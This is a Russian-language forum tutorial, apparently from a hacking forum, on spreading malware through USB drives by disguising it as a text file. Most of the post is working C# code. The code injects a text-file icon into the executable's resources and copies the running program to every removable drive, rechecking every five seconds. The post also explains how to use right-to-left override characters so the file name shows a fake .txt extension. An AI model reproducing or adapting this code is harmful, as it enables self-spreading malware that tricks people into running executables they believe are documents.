FAQ USB spread - маскировка под другие файлы (не autorun.inf)

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
Так как с какой-то там видны не работает автозапуск с флешки, то сейчас появились другие способы распространения.
Один из них, это копирование вашего файла (мальвари) под видом другого файла.



Сначала подготовимся и подумаем под что мы хотим замаскировать нашу мальварь.
Я буду маскировать под обычный текстовик, нам нужно достать иконку текстовика в нормальном качестве. Для этого нам понадобится Resource Hacker, открываем его.
Открываем .dll по пути %SystemRoot%\System32\SHELL32.dll
Смотрим в папке Icon Group нужную вам иконку
Когда нашли, ПКМ->Save .ico

Иконку закидываем в ресурсы проекта


Теперь код
Пропишем замену иконки (взял с другого софта, вроде с Quasar Rat`a)

Код:
[SuppressUnmanagedCodeSecurity()]
private class NativeMethods
{
    [DllImport("kernel32")]
    public static extern IntPtr BeginUpdateResource(string fileName,
        [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
 
    [DllImport("kernel32")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language,
        [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
 
    [DllImport("kernel32")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
}
[StructLayout(LayoutKind.Sequential)]
private struct ICONDIR
{
    // Reserved, must be 0
    public ushort Reserved;
    // Resource type, 1 for icons.
    public ushort Type;
    // How many images.
    public ushort Count;
    // The native structure has an array of ICONDIRENTRYs as a final field.
}
[StructLayout(LayoutKind.Sequential)]
private struct ICONDIRENTRY
{
    /// <summary>
    /// The width, in pixels, of the image.
    /// </summary>
    public byte Width;
    /// <summary>
    /// The height, in pixels, of the image.
    /// </summary>
    public byte Height;
    /// <summary>
    /// The number of colors in the image; (0 if >= 8bpp)
    /// </summary>
    public byte ColorCount;
    /// <summary>
    /// Reserved (must be 0).
    /// </summary>
    public byte Reserved;
    /// <summary>
    /// Color planes.
    /// </summary>
    public ushort Planes;
    /// <summary>
    /// Bits per pixel.
    /// </summary>
    public ushort BitCount;
    /// <summary>
    /// The length, in bytes, of the pixel data.
    /// </summary>
    public int BytesInRes;
    /// <summary>
    /// The offset in the file where the pixel data starts.
    /// </summary>
    public int ImageOffset;
}
[StructLayout(LayoutKind.Sequential)]
private struct BITMAPINFOHEADER
{
    public uint Size;
    public int Width;
    public int Height;
    public ushort Planes;
    public ushort BitCount;
    public uint Compression;
    public uint SizeImage;
    public int XPelsPerMeter;
    public int YPelsPerMeter;
    public uint ClrUsed;
    public uint ClrImportant;
}
[StructLayout(LayoutKind.Sequential, Pack = 2)]
private struct GRPICONDIRENTRY
{
    public byte Width;
    public byte Height;
    public byte ColorCount;
    public byte Reserved;
    public ushort Planes;
    public ushort BitCount;
    public int BytesInRes;
    public ushort ID;
}
public static void InjectIcon(string exeFileName, string iconFileName)
{
    InjectIcon(exeFileName, iconFileName, 1, 1);
}
public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
{
    const uint RT_ICON = 3u;
    const uint RT_GROUP_ICON = 14u;
    IconFile iconFile = IconFile.FromFile(iconFileName);
    var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
    var data = iconFile.CreateIconGroupData(iconBaseID);
    NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data,
        data.Length);
    for (int i = 0; i <= iconFile.ImageCount - 1; i++)
    {
        var image = iconFile.ImageData(i);
        NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image,
            image.Length);
    }
    NativeMethods.EndUpdateResource(hUpdate, false);
}
private class IconFile
{
    private ICONDIR iconDir = new ICONDIR();
    private ICONDIRENTRY[] iconEntry;
 
    private byte[][] iconImage;
 
    public int ImageCount
    {
        get { return iconDir.Count; }
    }
 
    public byte[] ImageData(int index)
    {
        return iconImage[index];
    }
 
    public static IconFile FromFile(string filename)
    {
        IconFile instance = new IconFile();
        // Read all the bytes from the file.
        byte[] fileBytes = System.IO.File.ReadAllBytes(filename);
        // First struct is an ICONDIR
        // Pin the bytes from the file in memory so that we can read them.
        // If we didn't pin them then they could move around (e.g. when the
        // garbage collector compacts the heap)
        GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
        // Read the ICONDIR
        instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
        // which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
        instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
        instance.iconImage = new byte[instance.iconDir.Count][];
        // The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
        int offset = Marshal.SizeOf(instance.iconDir);
        // After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY         
        var iconDirEntryType = typeof(ICONDIRENTRY);
        var size = Marshal.SizeOf(iconDirEntryType);
        for (int i = 0; i <= instance.iconDir.Count - 1; i++)
        {
            // Grab the structure.
            var entry =
                (ICONDIRENTRY)
                    Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset),
                        iconDirEntryType);
            instance.iconEntry[i] = entry;
            // Grab the associated pixel data.
            instance.iconImage[i] = new byte[entry.BytesInRes];
            Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
            offset += size;
        }
        pinnedBytes.Free();
        return instance;
    }
 
    public byte[] CreateIconGroupData(uint iconBaseID)
    {
        // This will store the memory version of the icon.
        int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) +
                                  Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
        byte[] data = new byte[sizeOfIconGroupData];
        var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
        Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
        var offset = Marshal.SizeOf(iconDir);
        for (int i = 0; i <= ImageCount - 1; i++)
        {
            GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY();
            BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER();
            var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
            Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(),
                Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
            pinnedBitmapInfoHeader.Free();
            grpEntry.Width = iconEntry[i].Width;
            grpEntry.Height = iconEntry[i].Height;
            grpEntry.ColorCount = iconEntry[i].ColorCount;
            grpEntry.Reserved = iconEntry[i].Reserved;
            grpEntry.Planes = bitmapheader.Planes;
            grpEntry.BitCount = bitmapheader.BitCount;
            grpEntry.BytesInRes = iconEntry[i].BytesInRes;
            grpEntry.ID = Convert.ToUInt16(iconBaseID + i);
            Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset),
                false);
            offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
        }
        pinnedData.Free();
        return data;
    }
}

Теперь нужно нашу иконку сохранять каким-то образом из ресурсов, и инжектить в файл.
Будем использовать File.WriteAllBytes , но по дефолту иконка в байты не конвертируется, поэтому мы поможем ей
Код:
using System.Drawing;
 
private static byte[] IconToBytes(Icon icon)
{
    using (MemoryStream ms = new MemoryStream())
    {
        icon.Save(ms);
        return ms.ToArray();
    }
}
Напишем теперь код замены иконки в удобном виде, что бы можно было его просто вызывать и не морочиться, а просто передать файл и иконку

Код:
public static void ChangeIcon(string path, Icon icon)
{
    string icon_ = @"C:\ProgramData\txt_icon.ico"; // Путь для сохранения иконки
    try
    {
        if (!File.Exists(icon_))
            File.WriteAllBytes(icon_, IconToBytes(icon));
        InjectIcon(path, icon_);
    }
    catch { }
}
И вот последний штрих
Код:
public static void USB()
{
    try
    {
        DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
        foreach (DriveInfo drive in drives)
        {
            if (drive.DriveType == DriveType.Removable)
            {
                string appPath = Process.GetCurrentProcess().MainModule.FileName; // Путь к файлу который будем копировать
                try
                {
                    if (!File.Exists(drive.Name + "*********"))
                    {
                        File.Copy(appPath, @"C:\ProgramData\txt_icon.exe", true); // Копируем файл
                        ChangeIcon(@"C:\ProgramData\txt_icon.exe", Properties.Resources.txt_file_icon); // Меняем иконку
                        File.Copy(@"C:\ProgramData\txt_icon.exe", drive.Name + "*********")
                        File.Delete(@"C:\ProgramData\txt_icon.exe"); // Удаляем
                    }
                }
                catch { }
            }
        }
    }
    catch { }
}
Тут теперь важная штука, вместо "*********" нужно вставить правильные символы, я не могу написать и тут, так как форум не передает их, и выдает кракозябру, поэтому покажу как получить их самому

Выбираем файл, перед его форматом пишем формат который хотим, к примеру txt , перед txt ставим курсор и жмем ПКМ ->


И получаем это


Теперь просто скопируйте полностью имя, и вставьте вместо *********

Если вызываем этот воид в то время как в пк находится флешка, то пойдет процесс, и на флешке увидим файл с вашим названием


Что бы проверять постоянно
Код:
while (true)
{
    USB();
    Thread.Sleep(5000); // Чек каждые 5 секунд
}
 
Сверху